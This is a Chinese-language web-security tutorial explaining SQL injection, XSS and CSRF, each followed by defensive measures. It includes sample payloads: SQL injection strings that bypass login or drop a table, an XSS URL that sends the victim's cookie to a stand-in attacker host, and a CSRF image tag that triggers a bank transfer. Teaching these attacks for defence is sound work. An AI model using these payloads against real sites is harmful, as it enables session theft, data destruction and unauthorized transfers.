常見的Web攻擊有SQL注入、XSS跨站腳本攻擊、跨站點請求偽造共三類,下面分別簡單介紹。
1 SQL注入
1.1 原理
SQL注入就是通過把SQL命令插入到Web表單遞交或輸入域名或頁面請求的查詢字符串,最終達到欺騙服務器執行惡意的SQL命令。SQL注入漏洞到底是以怎樣的形式進行攻擊的呢,接下來將以一個簡單的實例來進行介紹。
比如在一個登陸界面,有兩個文本框分別用來輸入用戶名和密碼,當用戶點了登錄按鈕的時候,會對輸入的用戶名和密碼進行驗證。

驗證的SQL語句可以簡單理解為:select * from student where username=‘輸入的用戶名’ and password=‘輸入的密碼’ ,如果能夠檢索到數據,說明驗證通過,否則驗證不通過。
如果用戶在用戶名文本框中輸入 ’ or ‘1’ = ‘1’ or ‘1’ = ‘1,則驗證的SQL語句變成:select * from student where username=" or ‘1’ = ‘1’ or ‘1’ = ‘1’ and password= "
如果用戶在密碼文本框中輸入 1 ’ or ‘1 ‘=’ 1,則驗證的SQL語句變成:select * from student where username=’’ and password=‘1’ or ‘1’=‘1’
以上兩個SQL語句的where條件永遠是成立的,所以驗證永遠是有效的。
另外,如果在用戶名文本框中輸入 tom’ ; drop table student- -,則SQL語句變成:
select * from student where username='tom' ;
drop table student--' and password=''
這樣就變成兩條SQL語句,執行完查詢操作,接着直接把student表給刪除了(雙連接符表示注釋)。
1.2 防御措施
通過上面的描述我們就很清楚的明白,黑客如果發現平台里有SQL注入漏洞,那么我們的平台就會輕而易舉的被攻破了。那么我們如何寫代碼,才能實現對SQL注入攻擊進行更好的防御呢。下面將分別介紹下防御措施:
1、永遠不要信任用戶的輸入
對用戶的輸入進行校驗,可以通過正則表達式,或限制長度;對單引號和雙“-”進行轉換等;具體表現如下:
①輸入為數字參數則必須進行數字類型判斷
如采用正則表達式:String characterPattern = “^\d+$”;
②輸入為字符串參數則必須進行字符型合法性判斷
如采用正則表達式:String characterPattern = ^[A-Za-z]*$;
③輸入只允許包含某些特定的字符或字符的組合使用白名單進行輸入校驗,如email地址、日期、小數等:
String characterPattern = "^([a-z0-9A-Z]+[_-]?)+[a-z0-9A-Z]@(([a-z0-9A-Z]+[_-]?)+(-[a-z0-9A-Z]+)?\\.)+[a-zA-Z]{2,4}$"; //email正則表達式
④校驗輸入數據的長度
⑤校驗輸入數據的范圍,如年齡為0~50之間的正整數
⑥將特殊字符單引號和雙“-”進行轉換。
2、永遠不要使用動態拼裝sql
可以使用參數化的sql或者直接使用存儲過程進行數據查詢存取。哪怕參數是常量,也請用預編譯語句PreparedStatement,同時用占位符,如: “select * from table where comment like ?”。
注意:如果參數不是使用的占位符,即使用PreparedStatement執行時也並不是預編譯。
3、永遠不要使用管理員權限的數據庫連接
為每個應用使用單獨的有權限的數據庫連接,這樣能降低數據庫密碼被泄漏而帶來的破壞。
4、不要把機密信息直接存放
加密或者hash掉密碼和敏感的信息;如數據庫連接密碼、用戶密碼、設備密碼需要加密存儲。
5、應用的異常信息應該給出盡可能少的提示
最好使用自定義的錯誤信息對原始錯誤信息進行包裝。
2 XSS跨站腳本攻擊
2.1 原理
XSS(Cross Site Scripting)跨站腳本攻擊指攻擊者在網頁中嵌入客戶端腳本(例如JavaScript),當用戶瀏覽此網頁時,腳本就會在用戶的瀏覽器上執行,從而達到攻擊者的目的,比如獲取用戶的Cookie,導航到惡意網站,攜帶木馬等。XSS漏洞到底是以怎樣的形式進行攻擊的呢,接下來將通過兩個不同的場景來進行介紹。
1、Dom-Based XSS 漏洞
基於DOM的XSS,也就是web server不參與,僅僅涉及到瀏覽器的XSS
攻擊過程如下:小A發現了test.com中的Search.jsp頁面有XSS漏洞,Search.jsp的代碼如下:
<html>
<title></title>
<body>
Results for <%=request.getParameter("term")%>...
</body>
</html>
沒有對term做任何過濾校驗。
小A 先建立一個網站http://badboy.com,用來接收“偷”來的信息。然后小A構造一個惡意的url(如下),通過某種方式(郵件,QQ)發給小B
http://test.com/search.asp?term=<script>window.open("http://badboy.com?cookie="+document.cookie)</script>
小B點擊了這個URL,嵌入在URL中的惡意Javascript代碼就會在小B的瀏覽器中執行,那么小B在test.com網站的cookie,就會被發送到badboy網站中,這樣小B在test.com的信息就被小A盜了。
2、Stored XSS(存儲式XSS漏洞)
如一個應用程序從數據庫中查詢數據,在頁面中顯示出來,攻擊者在這個頁面輸入惡意的腳本數據后,用戶瀏覽此類頁面時就可能受到攻擊,使得所有訪問該頁面的用戶都面臨信息泄露的可能。

攻擊過程如下:
小C發現了網站A上有一個XSS 漏洞,該漏洞允許將攻擊代碼保存在數據庫中,於是小C發布了一篇文章,文章中嵌入了惡意JavaScript代碼。其他人如小D訪問這片文章的時候,嵌入在文章中的惡意Javascript代碼就會在小D的瀏覽器中執行,其會話cookie或者其他信息將被小C盜走。
Dom-Based XSS漏洞威脅用戶個體,而存儲式XSS漏洞所威脅的對象將是大量的用戶。
2.2 防御措施
針對XSS跨站腳本攻擊,我們的防御原則是不相信用戶輸入的數據,對應的防御措施如下:
1、在cookie中不要存放一些敏感信息
比如用戶名、密碼等安全信息,或者cookie中的信息采用加密的方式。最為有效的方式是將重要的cookie標記為http only,這樣腳本中就不能訪問這個cookie,就避免了XSS攻擊利用JavaScript的document.cookie獲取cookie:
2、輸入過濾校驗,對用戶提交的數據進行有效性驗證
僅接受指定長度范圍內並符合我們期望格式的的內容提交,阻止或者忽略除此外的其他任何數據。比如:電話號碼必須是數字和中划線組成,而且要設定長度上限。過濾一些些常見的敏感字符,例如:< > ‘ “ & # \;過濾或移除特殊的Html標簽, 例如: <script>, <iframe> , < for <, > for >, " for;過濾JavaScript 事件的標簽,例如 "οnclick=", "onfocus" 等等。這里的數據校驗除了前台要做,后台也要做。
3、DOM型的XSS攻擊防御
把變量輸出到頁面時要做好相關的編碼轉義工作,如要輸出到 <script>中,可以進行JS編碼;要輸出到HTML內容或屬性,則進行HTML編碼處理。根據不同的語境采用不同的編碼處理方式。
3 跨站點請求偽造
3.1 原理
CSRF( Cross-site request forgery )盡管聽起來很像XSS跨站腳本攻擊,但是它於XSS完全不同。XSS是利用站點內的信任用戶,而CSRF則是通過偽裝來自受信任用戶的請求來利用受信任的站點,從而在並未授權的情況下執行在權限保護之下的操作。與XSS相比,CSRF攻擊不大流行和難以防范,所以比XSS更具危險性。

從上圖可以看出,要完成一次CSRF攻擊,受害者必須依次完成兩個步驟 :
1.登錄受信任網站A,並在本地生成Cookie 。
2.在不退出A的情況下,訪問危險網站B。
接下來通過實例來介紹什么是CSRF攻擊
受害者 tom 在銀行有一筆存款,通過對銀行的網站發送請求:http://bank.example/withdrawaccount=tom&amount=1000000&for=tom2 可以使 tom把 1000000 的存款轉到 tom2 的賬號下。通常情況下,該請求發送到網站后,服務器會先驗證該請求是否來自一個合法的 session,並且該 session 的用戶 tom 已經成功登陸。
黑客 tom3 自己在該銀行也有賬戶,他知道上文中的 URL 可以把錢進行轉帳操作。 tom3 可以自己發送一個請求給銀行:http://bank.example/withdraw?account=bob&amount=1000000&for=tom3 。但是這個請求來自tom3 而非tom ,他不能通過安全認證,因此該請求不會起作用。
這時,tom3 想到使用CSRF的攻擊方式,他先自己做一個網站,在網站中放入如下代碼:<img src="http://bank.example/withdraw?account=bob&amount=1000000&for=tom3” />。並且通過廣告等誘使 tom 來訪問他的網站。當 tom訪問該網站時,上述 url 就會從 tom 的瀏覽器發向銀行,而這個請求會附帶 tom 瀏覽器中的cookie一起發向銀行服務器。
大多數情況下該請求會失敗,因為他要求tom 的認證信息。但是
①如果tom當時恰巧剛訪問他的銀行后不久
②他的瀏覽器與銀行網站之間的 session 尚未過期
③瀏覽器的 cookie 之中含有 tom 的認證信息
這時,悲劇發生了,這個 url 請求就會得到響應,錢將從 tom的賬號轉移到 tom3的賬號,而 tom當時毫不知情。等以后 tom發現賬戶錢少了,即使他去銀行查詢日志,他也只能發現確實有一個來自於他本人的合法請求轉移了資金,沒有任何被攻擊的痕跡。而 tom3 則可以拿到錢后逍遙法外。
3.2 防御措施
服務端的預防CSRF攻擊的方式方法有多種,但思想上都是差不多的,主要從以下2個方面入手:1、正確使用GET,POST和Cookie;2、在非GET請求中增加偽隨機數,對應的防御措施如下:
1.對於web站點,將持久化的授權方法(例如cookie或者HTTP授權)切換為瞬時的授權方法(在每個form中提供隱藏field,或者每次操作都需要重新認證)。目前主流的做法是使用Token抵御CSRF攻擊。CSRF攻擊成功的條件在於攻擊者能夠預測所有的參數從而構造出合法的請求,所以我們可以加大這個預測的難度,加入一些黑客不能偽造的信息。我們在提交表單時,保持原有參數不變,另外添加一個參數Token,該值可以是隨機並且加密的,當提交表單時,客戶端也同時提交這個token,然后由服務端驗證,驗證通過才是有效的請求。但是由於用戶的Cookie很容易由於網站的XSS漏洞而被盜取,所以這個方案必須要在沒有XSS的情況下才安全。
2.通過在瀏覽其它站點前登出站點或者在瀏覽器會話結束后清理瀏覽器的cookie來防止CSRF攻擊,對於關鍵操作我們應該采用post方法。
3.檢查http請求中的referer的值,只有對referer中信任的站點才可以訪問。所謂Referer,就是在一個網絡請求頭中的鍵值對,標示着目前的請求是從哪個頁面過來的。服務器通過檢查Referer的值,如果判斷出Referer並非本站頁面,而是一個外部站點的頁面,那么我們就可以判斷出這個請求是非法的。與此同時,我們也就檢測到了一次csrf攻擊。但是,服務器有時候並不能接收Referer值,所以單純地只通過Referer來防御是不太合理的,它因此經常用於csrf的檢測。
